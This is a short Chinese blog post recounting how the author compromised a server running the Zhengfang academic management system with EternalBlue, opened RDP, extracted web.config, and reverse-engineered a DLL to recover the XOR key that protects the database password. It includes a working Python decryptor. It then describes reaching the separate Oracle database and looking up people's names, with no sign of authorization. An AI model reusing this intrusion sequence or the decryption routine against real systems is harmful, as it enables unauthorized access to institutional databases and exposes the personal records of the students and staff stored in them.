MENU

逆向正方 DLL 小记

June 16, 2017 • Read: 3123 • 安全

拿服务器

NSA 的系列漏洞爆出来时就通过 EternalBlue 拿了服务器,开了 3389,不过当时没能拿到正方加密的 Key,就放在那没动过了。

源码分析

又上去翻了翻,先把源码全部弄下来。

通过 web.config 文件得到数据库的一些信息。

      <add key="MyConn" value="pooling=true;Max Pool Size=100;Min Pool Size=10;Data Source=****;User Id=****;Password="/>
      <add key="MyPwd" value="********"/>

利用正方解密工具,默认的 Key 解出来乱码,看来是改过了。

逆向 DLL

从 bin 文件夹中找到 zjdx.dll,用 PEiD 看下。

peid.png

其实不用看的,.Net 的网站,肯定是 C# 写的。

用 dnSpy 打开,根据网上已有的文章,直接跟到 mmtp 类。

dnspy.png

在 BindToDDL 函数中,即可看到我们所需要的 Key。

public void BindToDDL(string strSQL, DropDownList ListName, string dtField, string dvField)
        {
            OracleConnection oracleConnection = new OracleConnection(ConfigurationSettings.get_AppSettings().get_Item("MyConn") + this.jiemi(ConfigurationSettings.get_AppSettings().get_Item("MyPwd"), "keykey"));

之后就可以用网上有的解密工具解了,比如 K8 的。

不过当时没看到有这么个东西,网上搜了好些代码,跑起来都不对,只好慢慢改,挺简单的一个异或加密,跟着逻辑一步一步来就可以看明白了。

def squarer(value, key):
    if len(value) % 2 == 0:
        p = int(round(len(value)) / 2.0)
        value = value[:p][::-1] + value[-p:][::-1]
        print value
    k = 0
    result = ''
    for i in range(0, len(value)):
        v = value[i]
        if ord(v) ^ ord(key[k]) < 32 or ord(v) ^ ord(key[k]) > 126 or ord(v) < 0 or ord(v) > 255:
            # print v
            result += v
        else:
            result += chr(ord(v) ^ ord(key[k]))
        if k == len(key) - 1:
            k = 0
        else:
            k = k + 1
    return result


print squarer("*********", '*******')

连接数据库

原以为到这就可以搞定了,结果 sqlplus 了半天都进不去数据库。。。后来还是在 Oracle 自己 GUI 客户端里发现是站库分离的,通过历史连接记录找到了数据库的 IP 地址,Navicat 连接成功,查到人名,可以结束了。

Archives QR Code
QR Code for this page
Tipping QR Code